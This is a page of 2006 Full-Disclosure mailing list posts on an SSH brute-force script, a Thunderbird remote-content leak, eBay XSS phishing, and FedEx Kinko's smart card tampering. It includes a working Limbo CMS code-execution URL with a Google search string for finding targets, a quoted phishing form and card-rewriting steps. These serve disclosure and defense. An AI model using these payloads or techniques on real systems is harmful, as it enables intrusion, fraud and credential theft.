http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSHthrough iptables --hashlimit
On 2/28/06, GroundZero Security [EMAIL PROTECTED] wrote: you may be able to add a bogus ip (wow your l33t), but it wouldnt be of any use so... Uhh, no use? -s accepts a netmask as well as addresses, it's not just add a bogus ip, I can effectively kick your machine off the network. Apart from that the code looks very flimsy, I'll bet there's an arbitrary command execution in there somewhere. instead of beeing a smartass why dont you provide a better solution for the people who are annoyed by those bruteforce attacks? Why dont you parse the output of lastb -i, dumbass. I guess it makes you feel bigger and better to be an @sshole on a public mailing list but I don't think that anyone is impressed with the fact that you aren't offering any better ideas; just name-calling and showing a low maturity level. Just wasted time, space, and email if you aren't going to provide a solution or try and fix the script. I could be wrong, but doesn't last/lastb show users have have logged in/out. Therefore it wouldn't necessarily catch brute-forcers (unless they were actually successful)? This guy was just trying to be helpful and demonstrate a way of blocking (or attempting to block) brute-forcers. You aren't providing any value, just being a d!ck. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
Hello, If you carefully look at the inline attachments, you will find this (first proof of concept) : htmlhead/headbody style=margin: 0px; padding: 0px; border: 0px;iframe src=http://www.sysdream.com; width=100% height=100% frameborder=0 marginheight=0 marginwidth=0/iframe The information disclosure doesn't come from the first iframe, but from the second one. Indeed, the inline attachment basic.html itself contains a iframe, which is not correctly filtered and makes Thunderbird fetch any external resource. Best regards, Renaud Lifchitz http://www.sysdream.com Daniel Veditz wrote: Renaud Lifchitz wrote: Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities We believe this to be a testing error. The problem of loading remote iframe and css content was fixed prior to the release of Mozilla Thunderbird 1.0 The testcase included in the advisory contains the iframe and css content in-line with the message. That will always be shown as there is no privacy issue with doing so and does not demonstrate the remote loading issue claimed. Once a user has pressed the Show Images button--not the best label since it covers all remote content--that state is stored in the mailbox metadata/index file (.msf) and the remote content will then be loaded on future viewings. If the .msf file is not deleted between tests this could give the appearance of the bug described in the advisory. There is a minor residual privacy issue if people whose mail you keep and reread are setting webbugs on you (your boss could find out how many times you read his memo?), but in most cases your privacy is fully blown once you load the remote content the first time. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSHthrough iptables --hashlimit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Ho, Josh Berry wrote: I could be wrong, but doesn't last/lastb show users have have logged in/out. Therefore it wouldn't necessarily catch brute-forcers (unless they were actually successful)? Under Debian Sarge all failed/successfull logins and su-actions are logged to /var/log/auth.log. lastb isn't touched. Even if it exists. Greetings, Christian Khark Lauf - -- Christian Khark Lauf [EMAIL PROTECTED] GPG: 0x6AADC60A | IRCnet/silcnyet: Khark silcnyet-Fingerprint: 9424 E3BF B637 E1FC E355 BA7C 01CC 1B68 3A1C E330 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) iD8DBQFEBNbjAaLWKGqtxgoRAocRAJwJBQS7op4/dFi34M2FRZoKlNQU7wCeOIsj wRZHckIfnVlE3IpsZLVtNFE= =ngQH -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSHthrough iptables --hashlimit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Sorry, I meant: Under Debian Sarge all failed/successfull logins and su-actions are logged to /var/log/auth.log. /var/log/btmp isn't touched. Even if it exists. Christian - -- Christian Khark Lauf [EMAIL PROTECTED] GPG: 0x6AADC60A | IRCnet/silcnyet: Khark silcnyet-Fingerprint: 9424 E3BF B637 E1FC E355 BA7C 01CC 1B68 3A1C E330 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) iD4DBQFEBNflAaLWKGqtxgoRAvLGAJjnH8S5okCLG0Aw5ZzPMJwMVtSxAJ0VMqaA O1ZFevDd2POfVRGRizDMWQ== =botY -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Limbo CMS code execution
Official page : http://www.limbo-cms.com/ Vulnerable : Limbo 1.* Fix : No Bug : http://somehost/path-to-limbo/index.php?option=frontpageItemid=system(CODE) example : index.php?option=frontpageItemid=system(uname) Google search string : inurl:option=frontpage -- Best Regards, Aleksander Hristov root at securitydot.net http://securitydot.net ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
Daniel Veditz wrote: Renaud Lifchitz wrote: Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities We believe this to be a testing error. I responded too soon. This is indeed a problem in the current release version of Thunderbird 1.5 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Ebay XSS
The linked auction demonstrates an XSS flaw within ebay: http://cgi.ebay.com/ebaymotors/Ford-Mustang-Just-L-K_W0QQitemZ4617729712QQcategoryZ6236QQrdZ1QQcmdZViewItem The affected code is below the line On Feb-28-06 at 16:31:39 PST, seller added the following information: form name=xxx action=http://wyckoffbakerycafe.com/Store/SignInco_partnerId2pUserIdsiteid0pageTypepa1i1bshowgifUsingSSL.html; /form script xxx.submit(); /script The redirection page seems to be simple spoofing, and emails the data to [EMAIL PROTECTED] AnthraX101 -- AnthraX101 -- PGP Key ID# 0x4CD6D0BD Fingerprint: 8161 D008 3DAB 86C1 2CA3 AEDE 0E21 DBDE 4CD6 D0BD ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
On Tue, 2006-02-28 at 21:35, Daniel Veditz wrote: Daniel Veditz wrote: Renaud Lifchitz wrote: Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities We believe this to be a testing error. I responded too soon. This is indeed a problem in the current release version of Thunderbird 1.5 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ I think mozilla has released a fix for this. Or is this something new? -- Unique Security Forums at: http://www.iatechconsulting.com Public key: http://www.iatechconsulting.com/dl/nodialtone.asc ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: Fedex Kinkos Smart Card Authentication Bypass
Eric B wrote: Wait, so if I read this right, consumers with existing cards could dupe their legit cards for fake ones and cash in the fake ones yet still have credit on the legit card? So I'm assuming Fedex has no database/authentication system storing these serials...brilliant. Yup. According to Fedex Kinko's: Our analysis shows that the information in the article is inaccurate and not based on the way the actual technology and security function. Security is a priority to FedEx Kinko's, and we are confident in the security of our network in preventing such illegal activity. Our response: http://ip.securescience.net/exploits/P1010029.JPG Good write-up, thanks! On 2/28/06, *Lance James* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Abstract: - The ExpressPay stored-value card system used by FedEx Kinko's is vulnerable to attack. An attacker who gains the ability to alter the data stored on the card can use FedEx Kinko's services fraudulently and anonymously, and can even obtain cash from the store. Description: The FedEx Kinko's ExpressPay system, developed by enTrac Technologies of Toronto, Ontario, is based on a Siemens / Infineon SLE4442 memory chip card. The data stored on this card is freely rewritable once a three-byte security code has been presented to the card's security logic. Neither this security code nor the data stored on the card is encrypted; anyone able to obtain the security code is free to rewrite the data stored on the card using an inexpensive commercially available smart card reader/writer. The first thirty-two bytes of the memory chip card are writable and subsequently permanently write-protectable (in this application, these bytes are write-protected), and contain a header which identifies the card as an ExpressPay stored-value card. Bytes 0x20 through 0x27 contain the value stored on the card, represented in IEEE 754 double-precision floating point format. Bytes 0x60 through 0x6A contain the card's eleven-digit serial number stored as unsigned zoned-decimal ASCII; digits 0x60 through 0x63 are the store number the card was initially issued at, and the remaining seven digits are assigned sequentially at the moment of first issue. A timestamp indicating date and time of issue are located from 0x30 through 0x37, and is repeated from 0xC7 through 0xCE. In order to write to the card, a three-byte security code must be presented in a specific sequence of commands as outlined by the SLE4442's white paper. By soldering wires to the contact points of the card and then connecting those wires to an inexpensive logic analyzer, an attacker can sniff the three-byte code as the kiosk or a card terminal prepares to write data to the card. This security code appears to be the same across all FedEx Kinko's ExpressPay cards currently in circulation. Once the three-byte code is known to the attacker, the card's stored value and serial number can be changed to any value. The ExpressPay system appears to implicitly trust the value stored on the card, regardless of what that value actually is. The system will also accept cards with obviously fake serial numbers (e.g. a non-existent store number followed by all nines). Using these altered cards, xeroxes can be made from any machine with a card reader, and computers can be rented anonymously and indefinitely. Most disturbing, however, is that since stored-value cards can be cashed out by an employee at the register at any time, an attacker could cash out altered cards obtained at little or no monetary cost. If a card is cashed out, its serial number does not appear to be invalidated in the system. If an attacker were to clone a known good card and cash it out, the clone would still be usable. Tested Vendors: --- - FedEx Kinko's Suspected Vendors: -- - Any client of enTrac Technologies who uses the ExpressPay stored-value card system. - Any company which uses a stored-value card system based on the SLE4442 Vendor and Patch Information: - Proof-of-concept of the initial security vulnerability was achieved on 8 February 2006, with research into the ramifications continuing through 12 February. Copies of this report were sent to both FedEx Kinko's and enTrac Technologies on 15 February; a read receipt was returned from enTrac on 19 February, while no receipt has yet been received from FedEx Kinko's. Solution: - - Encrypt data before storing it on the SLE4442 card, or migrate to a system which uses cards which have built-in encryption functionality. - Verify that the
[Full-disclosure] Re: Fedex Kinkos Smart Card Authentication Bypass
Wait, so if I read this right, consumers with existing cards could dupe their legit cards for fake ones and cash in the fake ones yet still have credit on the legit card?So I'm assuming Fedex has no database/authentication system storing these serials...brilliant. Good write-up, thanks!On 2/28/06, Lance James [EMAIL PROTECTED] wrote: Abstract:-The ExpressPay stored-value card system used by FedEx Kinko's isvulnerable to attack.An attacker who gains the ability to alter thedata stored on the card can use FedEx Kinko's services fraudulently and anonymously, and can even obtain cash from the store.Description:The FedEx Kinko's ExpressPay system, developed by enTrac Technologiesof Toronto, Ontario, is based on a Siemens / Infineon SLE4442 memory chip card.The data stored on this card is freely rewritable once athree-byte security code has been presented to the card's securitylogic.Neither this security code nor the data stored on the card isencrypted; anyone able to obtain the security code is free to rewrite the data stored on the card using an inexpensive commerciallyavailable smart card reader/writer.The first thirty-two bytes of the memory chip card are writable andsubsequently permanently write-protectable (in this application, these bytes are write-protected), and contain a header which identifies thecard as an ExpressPay stored-value card.Bytes 0x20 through 0x27contain the value stored on the card, represented in IEEE 754double-precision floating point format.Bytes 0x60 through 0x6A contain the card's eleven-digit serial number stored as unsignedzoned-decimal ASCII; digits 0x60 through 0x63 are the store number thecard was initially issued at, and the remaining seven digits areassigned sequentially at the moment of first issue.A timestamp indicating date and time of issue are located from 0x30 through 0x37,and is repeated from 0xC7 through 0xCE.In order to write to the card, a three-byte security code must bepresented in a specific sequence of commands as outlined by the SLE4442's white paper.By soldering wires to the contact points ofthe card and then connecting those wires to an inexpensive logicanalyzer, an attacker can sniff the three-byte code as the kiosk or acard terminal prepares to write data to the card.This security code appears to be the same across all FedEx Kinko's ExpressPay cardscurrently in circulation.Once the three-byte code is known to the attacker, the card's storedvalue and serial number can be changed to any value.The ExpressPay system appears to implicitly trust the value stored on the card,regardless of what that value actually is.The system will alsoaccept cards with obviously fake serial numbers (e.g. a non-existentstore number followed by all nines).Using these altered cards, xeroxes can be made from any machine with a card reader, and computerscan be rented anonymously and indefinitely.Most disturbing, however,is that since stored-value cards can be cashed out by an employee at the register at any time, an attacker could cash out altered cardsobtained at little or no monetary cost.If a card is cashed out, itsserial number does not appear to be invalidated in the system.If anattacker were to clone a known good card and cash it out, the clone would still be usable.Tested Vendors: FedEx Kinko'sSuspected Vendors:--- Any client of enTrac Technologies who uses the ExpressPaystored-value card system. - Any company which uses a stored-value card system based on the SLE4442Vendor and Patch Information:-Proof-of-concept of the initial security vulnerability was achieved on 8 February 2006, with research into the ramifications continuingthrough 12 February.Copies of this report were sent to both FedExKinko's and enTrac Technologies on 15 February; a read receipt wasreturned from enTrac on 19 February, while no receipt has yet been received from FedEx Kinko's.Solution:-- Encrypt data before storing it on the SLE4442 card, or migrate to asystem which uses cards which have built-in encryption functionality.- Verify that the stored value on the card does not significantly differ from a reference value stored in a database.- Do not allow the use of cards with invalid serial numbers.- Invalidate serial numbers of cards that are cashed out.Credits:Strom Carlson, Secure Science Corporation: Hardware Security Division [EMAIL PROTECTED] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
Renaud Lifchitz wrote: Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities The css part of this exploit is actively used by Intellicontact (or whatever they call themselves this week), the host of the factcheck.org mailing list. For example: LINK href=http://mail1.icptrack.com/track/relay.php?r=###msgid= =###act=admin=0destination=http://www.factcheck.org/styles/subpage_nn.css type=text/css rel=stylesheet To work around this, set: user_pref(mailnews.display.html_as, 3); and user_pref(mailnews.display.html_sanitizer.allowed_tags, html head title body p br div(lang,title) h1 h2 h3 h4 h5 h6 ul(type,compact) ol(type,compact,start) li(type,value) dl dt dd blockquote(type,cite) pre noscript noframes strong em sub sup span(lang,title) acronym(title) abbr(title) del(title,cite,datetime) ins(title,cite,datetime) q(cite) a(href,name,title) base(href) area(alt) applet(alt) object(alt) var samp dfn address kbd code cite s strike tt b i table(align) caption tr(align,valign) td(rowspan,colspan,align,valign) th(rowspan,colspan,align,valign)); (one line) in prefs.js. works around the css problem because link isn't an allowed html tag. I didn't test your iframe version, but I suspect this will work around that as well. Reference: http://www.bucksch.com/1/projects/mozilla/108153/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force login attempts via SSHthrough iptables --hashlimit
On 2/28/06, Josh Berry [EMAIL PROTECTED] wrote: I guess it makes you feel bigger and better to be an @sshole on a public mailing list but I don't think that anyone is impressed with the fact that you aren't offering any better ideas; just name-calling and showing a low maturity level. I'm not trying to impress you, i'm trying to make sure anyone who uses this script is aware of the security implications of doing so, this list is called FULL-DISCLOSURE, which is exactly what i'm doing. I could be wrong, but doesn't last/lastb show users have have logged in/out. Therefore it wouldn't necessarily catch brute-forcers (unless they were actually successful)? Yes you could be wrong, how long would it have taken to type man lastb and check? it lists failed login attempts, which is exactly what you want. This guy was just trying to be helpful and demonstrate a way of blocking (or attempting to block) brute-forcers. You aren't providing any value, just being a d!ck. Are you on the correct mailing list? this list is for the disclosure of security vulnerabilities, I think adding arbitrary firewall rules to someone elses machine is a security issue worthy of disclosure by anyone's standards. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
